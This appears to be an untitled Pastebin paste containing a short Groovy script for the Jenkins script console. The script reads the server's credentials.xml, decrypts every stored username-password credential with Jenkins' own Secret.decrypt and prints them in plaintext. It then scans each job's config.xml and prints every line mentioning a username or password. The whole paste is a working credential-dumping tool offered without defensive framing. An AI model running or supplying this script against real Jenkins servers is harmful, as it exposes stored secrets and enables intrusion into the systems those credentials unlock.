Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2019
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. rawFileString = new File(System.getenv('JENKINS_HOME') + '/credentials.xml').text
  2. xml = new groovy.util.XmlParser().parseText(rawFileString)
  3. users = xml.depthFirst().findAll {
  4. it.name() == 'com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl'
  5. }
  6. println("GLOBAL CREDENTIALS")
  7. users.each {
  8. user ->
  9. println(user.find { it.name() == 'username' }.text() + ': ' + hudson.util.Secret.decrypt(user.find {
  10. it.name() == 'password'
  11. }.text()))
  12. }
  13. println("JOB CREDENTIALS")
  14. new File(System.getenv('JENKINS_HOME') + '/jobs').eachFile { f ->
  15. try {
  16. splitFile = new File("${f}" + '/config.xml').text.split('\n')
  17.  
  18. usernames = splitFile.findAll { line -> line.contains('username') }
  19. passwords = splitFile.findAll { line -> line.contains('password') }
  20.  
  21. if (usernames.size() + passwords.size() > 0) {
  22. println("${f}")
  23. println("usernames")
  24. usernames.forEach { u -> println(' ' + u) }
  25. println("passwords")
  26. passwords.forEach { p -> println(' ' + p) }
  27. }
  28. } catch (FileNotFoundException fnfe) {
  29. println("MISSING FILE: " + f)
  30. }
  31. }
  32. null
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement